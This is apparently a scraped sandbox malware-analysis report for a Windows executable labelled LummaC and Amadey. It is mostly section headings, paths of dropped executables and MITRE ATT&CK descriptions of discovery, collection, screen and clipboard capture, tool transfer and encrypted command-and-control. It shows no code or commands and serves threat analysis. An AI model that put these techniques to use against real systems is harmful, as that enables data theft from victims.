Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yiDQb6GkBq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Spreading

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\W4KLQf7[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\M5iFR20[1].exe

Windows Analysis Report
yiDQb6GkBq.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre